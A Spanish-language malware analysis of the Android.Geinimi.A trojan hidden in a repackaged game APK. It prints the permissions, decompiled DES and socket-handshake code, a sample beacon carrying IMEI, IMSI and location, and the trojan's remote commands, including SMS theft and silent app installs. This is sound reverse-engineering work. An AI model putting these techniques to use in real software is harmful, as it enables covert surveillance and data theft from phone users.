Reversing Malware Android.Geinimi.A en Android

sebas@Helios:~/Android/infected/MonkeyJump2.0.apk_FILES$ tree .
.
|-- AndroidManifest.xml
|-- classes.dex
|-- META-INF
|-- res
`-- resources.arsc

5 directories, 46 files

El icono asociado al mismo es:

• CALL_PHONE: Realizar llamadas de teléfono sin necesidad de que el usuario de permiso explícito.
• SEND_SMS: Enviar SMS.
• READ_SMS: Leer los SMS.
• ACCESS_FINE_LOCATION: Acceder a nuestra posición geográfica.
• READ_CONTACTS: Leer la agenda de contactos.
• MOUNT_UNMOUNT_FILESYSTEMS: Montar y desmontar sistemas de ficheros para unidades extraíbles.
• WRITE_EXTERNAL_STORAGE: Posibilidad de escribir en un medio de almacenamiento externo.
• INSTALL_SHORTCUT:
• WRITE_CONTACTS: Escribir en la agenda de contactos.
• ACCESS_GPS:
• ACCESS_LOCATION:
• RESTART_PACKAGES:
• RECEIVE_SMS: Monitorizar los SMS de entrada para almacenarlos o procesarlos.
• SMS_RECEIVE:
• WRITE_SMS: Escribir SMS.

sebas@Helios:~/Android$ ./dex2jar.sh MonkeyJump2.0.apk_FILES/classes.dex

public static byte[] a(byte abyte0[])
{
if(b == null)
{
byte abyte1[] = k.b;
DESKeySpec deskeyspec = new DESKeySpec(abyte1);
javax.crypto.SecretKey secretkey = SecretKeyFactory.getInstance("DES").generateSecret(deskeyspec);
Cipher cipher = Cipher.getInstance("DES");
b = cipher;
cipher.init(2, secretkey);
}
if(b != null) goto _L2; else goto _L1
_L1:
byte abyte2[] = null;
_L3:
return abyte2;
_L2:
byte abyte3[] = b.doFinal(abyte0);
abyte2 = abyte3;
goto _L3
Exception exception;
exception;
abyte2 = null;
goto _L3
}

public static byte[] b(byte abyte0[])
{
byte abyte2[];
byte abyte1[] = k.b;
DESKeySpec deskeyspec = new DESKeySpec(abyte1);
javax.crypto.SecretKey secretkey = SecretKeyFactory.getInstance("DES").generateSecret(deskeyspec);
Cipher cipher = Cipher.getInstance("DES");
cipher.init(1, secretkey);
abyte2 = cipher.doFinal(abyte0);
byte abyte3[] = abyte2;
_L2:
return abyte3;
Exception exception;
exception;
abyte3 = null;
if(true) goto _L2; else goto _L1
_L1:
}

public static boolean isRunningServices(Context context)
{
int i1;
int j1;
boolean flag;
int k1;
i1 = 0;
String as[] = com.dseffects.MonkeyJump2.jump2.e.k.f().split("\\.");
j1 = Integer.parseInt(as[i1]);
flag = Integer.parseInt(as[1]);
k1 = i1;
_L3:
int l1 = a.length;
if(i1 >= l1)
break MISSING_BLOCK_LABEL_261;
if(k1 == 0) goto _L2; else goto _L1
_L1:
flag = true;
_L4:
return flag;
_L2:
try
{
// Obtenemos un puerto de la lista {5432, 4501, 6543}
int i2 = a[i1];
// Crea un socket en el puerto especificado
Socket socket = new Socket("127.0.0.1", i2);
b = socket;
InputStream inputstream = socket.getInputStream();
OutputStream outputstream = b.getOutputStream();
byte abyte0[] = "hi,are you online?".getBytes();
outputstream.write(abyte0);
Timer timer = new Timer();
u u1 = new u();
// Crea un objeto de la clase Timer y lo inicializa para saber cuándo cerrar la conexión
timer.schedule(u1, 5000L);
// Lee 256 bytes del inputStream
byte abyte1[] = new byte[256];
int j2 = inputstream.read(abyte1);
// Saca una cadena del array de bytes y compara que sea igual a "yes, I'm online"
// Si las cadenas no coinciden, prueba con otro puerto y vuelve a ejecutar la misma porción de código
if((new String(abyte1, 0, j2)).equals("yes,I'm online!"))
{
// Cancela el timer
timer.cancel();
// Escribe la mayor versión del SDK
outputstream.write(j1);
// Escribe la menor versión del SDK
outputstream.write(flag);
// Recibe la mayor versión del SDK por parte del servidor
int k2 = inputstream.read();
// recibe la mnenor versión del SDK por parte del servidor
int l2 = inputstream.read();
// Comprueba si nos encontramos ejecutando versiones distintas
if(j1 < k2 || j1 == k2 && flag <= l2)
k1 = 1; // Si es así devuelve true
outputstream.flush();
outputstream.close();
inputstream.close();
b.close(); // Si no, cierra la conexión
}
timer.cancel();
}
catch(Exception exception) { }
i1++;
goto _L3
flag = k1;
goto _L4
}

public final void run()
{
do
try
{
e e1 = a;
// Aceptamos el socket
Socket socket = a.c.accept();
e1.d = socket;
InputStream inputstream = a.d.getInputStream();
OutputStream outputstream = a.d.getOutputStream();
Timer timer = new Timer();
com.dseffects.MonkeyJump2.jump2.k k1 = new com.dseffects.MonkeyJump2.jump2.k(this);
timer.schedule(k1, 5000L);
byte abyte0[] = new byte[256];
// Convierte los bytes leidos en strings
int i1 = inputstream.read(abyte0);
// Si los strings no coinciden, cerramos el socket, y lo volvemos abrir a la espera
// de que se produzca la conexión deseada
if((new String(abyte0, 0, i1)).equals("hi,are you online?"))
{
timer.cancel();
byte abyte1[] = "yes,I'm online!".getBytes();
outputstream.write(abyte1);
// Lee la mayor versión del SDK
int j1 = inputstream.read();
// Lee la menor versión del SDK
int l1 = inputstream.read();
// Envia la versión mayor del SDK
outputstream.write(10);
// Envía la versión menor del SDK
outputstream.write(5);
outputstream.flush();
outputstream.close();
inputstream.close();
a.d.close();
String as[] = k.f().split("\\.");
// Compara la versión mayor del SDK recibida con la versión interna
int l = Integer.parseInt(as[0]);
// Compara la versión menor del SDK recibica con la versión interna
int i = Integer.parseInt(as[1]);
// Si las versiones del SDK recibidas son mayores que las internas, para
// la instancia que se está ejecutando del troyano
if(j1 > l || j1 == l && l1 > i)
{
a.e = true;
a.stopSelf();
}
}
timer.cancel();
}
catch(IOException ioexception) { }
while(true);
}

PTID=33050001&IMEI=000000000000000&sdkver=10.7&SALESID=0006&IMSI=310260000000000&longitude=0.0&latitude=0.0&DID=2001&autosdkver=10.7&CPID=3308

• PTID, SALESID, DID, CPID: son utilizados para identificar qué paquete ha sido infectado por el troyano
• IMEI: International Mobile Equipment Identity
• IMSI: International Mobile Subscriber Identity

• smsrecord: Permite enumerar todos los mensajes recibidos y enviados al dispositivo móvil y enviarlos a un servidor remoto, además se puede pasar como parámetro una fecha de comienzo y otra de fin para establecer una búsqueda por rangos
• dsms: Borra mensajes SMS especificando un número, o aquellos que contengan una palabra clave
• showurl: Abre una dirección URL indicada
• call: Realiza una llamada a un número arbitrario de nuestra agenda de contactos
• install://: Descarga un APK y realiza una instalación desatendida para el usuario.